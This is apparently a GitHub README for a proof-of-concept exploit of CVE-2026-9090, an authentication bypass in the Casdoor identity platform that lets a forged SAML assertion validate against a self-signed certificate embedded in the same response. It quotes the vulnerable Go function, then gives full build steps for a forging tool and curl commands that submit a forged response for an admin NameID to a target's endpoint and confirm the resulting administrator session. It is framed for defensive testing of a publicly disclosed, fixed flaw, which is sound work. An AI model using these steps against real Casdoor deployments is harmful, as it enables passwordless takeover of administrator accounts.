kimdir01/cve-2026-9090-pocPoC for CVE-2026-9090 — Casdoor SAML signature bypass (CWE-347). Reproduction-only; coordinated via CERT/CC VU#780781.
Proof-of-concept for CVE-2026-9090 (CWE-347, Improper Verification of Cryptographic Signature), an authentication bypass in the Casdoor identity platform.
Attribution. CVE-2026-9090 was published and coordinated by CERT/CC — see VU#780781. This repository is an independent, reproduction-only proof of concept for the already-public vulnerability; it does not claim discovery of the issue.
When Casdoor consumes a SAML response at POST /api/acs (login via an external SAML provider), the
function buildSpCertificateStore builds the signature trust anchor from the <X509Certificate> embedded
in the incoming SAML response itself, instead of the certificate registered for the identity provider.
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
Because the trust anchor is taken from the response, an attacker can sign a SAML assertion with their own
self-signed certificate, staple that certificate into the response, and the signature validates against
itself. Setting the NameID to an existing user resolves to that account — if it is an admin, the attacker
obtains an administrator session. No password is involved.
<= 2.362.0provider.IdP only
(buildSpCertificateStore(provider *Provider) no longer reads the response). Upgrade to a current release.forge_saml.go builds a complete SAML Response whose Assertion is signed by a throwaway self-signed key,
with that key's certificate embedded in <ds:KeyInfo><ds:X509Certificate>. It uses the same
goxmldsig library Casdoor uses, so the canonicalization and signature format are accepted as-is.
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP, ORG, and SAML_PROVIDER are the application name, organization, and the SAML provider bound to
that application. A Casdoor application's registration (including its bound providers) is readable at
/api/get-application?id=admin/<name>.
This PoC is published for a fixed, publicly disclosed vulnerability, for defensive testing, detection
engineering, and research. Only run it against systems you are authorised to test. The correct remediation
is to upgrade Casdoor to a release where buildSpCertificateStore validates against the registered provider
certificate.
MIT — see LICENSE.